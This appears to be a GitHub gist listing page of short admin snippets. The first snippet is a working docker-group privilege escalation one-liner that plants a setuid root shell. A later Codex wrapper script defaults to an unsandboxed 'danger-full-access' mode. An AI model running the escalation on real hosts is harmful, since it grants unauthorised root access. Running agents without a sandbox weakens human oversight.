Skip to content

Instantly share code, notes, and snippets.

@siddolo
siddolo / docker-privileged-escalation.md
Last active August 22, 2025 10:16
Abuse the privileges of the docker group. You can use it to do privilege escalation if the user is in the docker group.
docker run -v $PWD:/root ubuntu bash -c "cp /bin/sh /root/test && chown root:root /root/test && chmod 6755 /root/test" && ./test -p && rm -rf ./test
@siddolo
siddolo / proxmox-ubuntu-cloudinit-template.md
Last active August 27, 2025 07:28
Ubuntu 24.04 VM Template for Proxmox with CloudInit

Ubuntu 24.04 VM Template for Proxmox with CloudInit

wget -q https://cloud-images.ubuntu.com/noble/current/noble-server-cloudimg-amd64.img

# Feel free to change the 32G to whatever you want as root disk size
qemu-img resize noble-server-cloudimg-amd64.img 32

# VGA can be serial, qxl or virtio, do not specify --vga for default
qm create 9001 --name "template.ubuntu-server-2404-cloudinit" --ostype l26 \
@siddolo
siddolo / docker-compose.yml
Created August 22, 2025 10:13
Proxmox Backup Server (PBS) proxy to S3
# https://github.com/tizbac/pmoxs3backuproxy
name: pmoxs3backuproxy
services:
pmoxs3backuproxy:
image: ghcr.io/tizbac/pmoxs3backuproxy:latest
command: -bind 0.0.0.0:8007 -endpoint s3.us-west-001.backblazeb2.com -usessl --debug
container_name: pmoxs3backuproxy
hostname: pmoxs3backuproxy
restart: unless-stopped
@siddolo
siddolo / aws-cidr.sh
Created October 2, 2025 17:53
Obtain sorted list of AWS IPs, in CIDR notation, per specific regions and specific services (e.g., EC2, which also includes LAMBDA)
#!/usr/bin/env sh
AWS_REGION=eu-west-1
AWS_SERVICE=EC2
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | \
jq '.prefixes[] | select(.region=="'${AWS_REGION}'" and .service=="'${AWS_SERVICE}'")' | \
jq -r '.ip_prefix' | sort -V -t '/' -k 1
@siddolo
siddolo / freccianerd.sh
Created January 14, 2026 19:34
Trenitalia telemetry
watch --color -n 5 "curl -ks 'https://d6o.frecciaplay.it/PortaleFrecce/infoViaggioActionJson?tlcm_langid=en&_=' | \
jq -C '{velocita: .speed, prossima_fermata: .prossimaStazione, ritardo: .delay2, stazione_arrivo: .statoPercorso[4]}'"
@siddolo
siddolo / codex-login-shell
Created May 6, 2026 18:51
Simple Codex login shell wrapper: prompts go to Codex, !commands go to Bash
#!/usr/bin/env bash
set -uo pipefail
CODEX_BIN="${CODEX_BIN:-/home/sid/.nvm/versions/node/v22.12.0/bin/codex}"
BASH_BIN="${BASH_BIN:-${SHELL:-/bin/bash}}"
CODEX_SANDBOX="${CODEX_SANDBOX:-danger-full-access}"
CODEX_OUTPUT_MODE="${CODEX_OUTPUT_MODE:-quiet}"
CODEX_NAME="${CODEX_NAME:-hal9000}"
CODEX_BASE_PROMPT="${CODEX_BASE_PROMPT:-\\[\\e[32m\\]\\w\\[\\e[0m\\] \\[\\e[36m\\]\\$\\[\\e[0m\\] }"